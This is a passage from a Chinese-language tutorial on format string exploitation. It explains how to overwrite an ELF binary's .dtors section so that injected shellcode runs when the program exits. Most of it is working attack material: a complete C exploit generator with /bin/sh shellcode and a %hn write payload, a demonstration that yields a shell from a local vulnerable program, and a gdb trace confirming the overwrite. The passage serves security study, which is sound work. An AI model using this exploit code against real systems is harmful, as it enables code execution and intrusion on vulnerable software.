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| 关键词： bkbll dtors buffer mobile fmtxp addr 地址 write shellcode lib |
4. 覆盖.dtors 段地址。用gcc编译出来的elf文件都包含有两个段：.ctors .dtors, 如果没有指定strip用-R项去掉的话，一般strip后的程序都含有这个段：[bkbll@mobile fmtxp_lib]$ strip x1[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors x1x1: file format elf32-i386Contents of section .dtors:8049800 ffffffff 00000000 ........[bkbll@mobile fmtxp_lib]$ strip -R .dtors x1[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors x1x1: file format elf32-i386[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors /bin/su/bin/su: file format elf32-i386Contents of section .dtors:804d23c ffffffff 00000000 .........ctors段里面有一个函数地址，那么这个函数将会在运行main函数前运行。而.dtors段则相反，是程序结束前要运行的函数（main后）.通过format string的write -anywhere特性，我们可以覆盖这个段的地址，把我们shellcode的地址写进去，这样当程序正常结束后，就会执行我们的shellcode指令，更多有关.dtors段内容请查阅相关文档。我们来利用我们刚才的vuln程序来实验一下，由于format string构造字符串结构都差不多，所以我们只需要修改一下want_write_addr就可以了，pad和shellcode地址还可以用刚才的值。首先，我们需要得到程序的.dtors段地址为多少：[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors vulnvuln: file format elf32-i386Contents of section .dtors:8049618 ffffffff 00000000 ........[bkbll@mobile fmtxp_lib]$那么，我们需要覆盖的是0x8049618+4=0x804961c的地址[bkbll@mobile fmtxp_lib]$ cat x2.c/* write to .dtors addr* objdump -s -j .dtors vuln* coded by bkbll([email protected])*/#include <stdio.h> #include <stdlib.h>#include <strings.h>#define want_write_addr 0x804961c /* .dtors存放函数地址的地址 */#define pad 12#define straddr 0xbffff690char shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89""\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c""\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff""/bin/sh";/*主体函数不变 */main(){int high_ret,low_ret;char buffer[1024];int j=0;int shell_addr_pad=0x50;int rea_high_ret,rea_low_ret;int print_acc;memset(buffer,0x90,1024);buffer[1023]=0;high_ret=((straddr+shell_addr_pad) >> 16) & 0xffff;low_ret=(straddr+shell_addr_pad) & 0xffff;if(high_ret == low_ret) exit(0);rea_high_ret=high_ret;rea_low_ret=low_ret;if(high_ret < low_ret ) { rea_high_ret=low_ret;rea_low_ret=high_ret;}print_acc=rea_high_ret - rea_low_ret;fprintf(stderr,"use shell addr:%p\n",straddr+shell_addr_pad);//j=sprintf(buffer,"%s",want_write_addr);buffer[0]=want_write_addr & 0xff;buffer[1]=(want_write_addr >> 8 ) & 0xff;buffer[2]=(want_write_addr >> 16 ) & 0xff;buffer[3]=(want_write_addr >> 24 ) & 0xff;//j+=sprintf(buffer+j,"%s",want_write_addr+2);buffer[4]=((want_write_addr+2)) & 0xff;buffer[5]=((want_write_addr+2)>>8) & 0xff;buffer[6]=((want_write_addr+2)>>16) & 0xff;buffer[7]=((want_write_addr+2)>>24) & 0xff;j=8;j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_retj,pad+1,print_acc,pad);buffer[j]=0x90;sprintf(buffer+(1022-strlen(shellcode)-1),"%s\x00",shellcode);if(j>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}printf("%s\n",buffer);}来看一下运行结果：[bkbll@mobile fmtxp_lib]$ gcc -o x2 x2.c[bkbll@mobile fmtxp_lib]$ ./x2 >2use shell addr:0xbffff6e0[bkbll@mobile fmtxp_lib]$./vuln 2蛝)繞蛝柁 /bin/shsh-2.05b$ iduid=500(bkbll) gid=500(bkbll) groups=500(bkbll)sh-2.05b$成功了。我们来跟踪一下：[bkbll@mobile fmtxp_lib]$ gdb -q vuln(gdb) x/i foo0x80484c4 <foo>: push %ebp(gdb) b *0x80484c4Breakpoint 1 at 0x80484c4: file vuln.c, line 30.(gdb) r 2Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 2Breakpoint 1, foo (line=0x2 <Address 0x2 out of bounds>) at vuln.c:3030 { (gdb) x/3wx 0x80496180x8049618 <__DTOR_LIST__>: 0xffffffff 0x00000000 0x00000000(gdb) disass fooDump of assembler code for function foo:0x80484c4 <foo>: push %ebp0x80484c5 <foo+1>: mov %esp,%ebp0x80484c7 <foo+3>: sub $0x8,%esp0x80484ca <foo+6>: sub $0xc,%esp0x80484cd <foo+9>: pushl 0x8(%ebp)0x80484d0 <foo+12>: call 0x8048350 <printf>0x80484d5 <foo+17>: add $0x10,%esp0x80484d8 <foo+20>: leave0x80484d9 <foo+21>: retEnd of assembler dump.(gdb) b *0x80484d5Breakpoint 2 at 0x80484d5: file vuln.c, line 31.(gdb) c蛝)繞蛝柁 /bin/shBreakpoint 2, 0x080484d5 in foo (line=0xbffff690 "\034\226\004\b\036\226\004\b%49143p%13$hn%14049p%12$hn", '\220'<repeats 166 times>...) at vuln.c:3131 printf (line);(gdb) x/3wx 0x80496180x8049618 <__DTOR_LIST__>: 0xffffffff 0xbffff6e0 0x00000000我门已经成功的把shellcode地址写进了.dtors段(gdb) x/i 0xbffff6e00xbffff6e0: nop /*我们的指令*/(gdb) cContinuing.Program received signal SIGTRAP, Trace/breakpoint trap.0x40000b30 in _start () from /lib/ld-linux.so.2已经开始执行我们的shellcode了。 |
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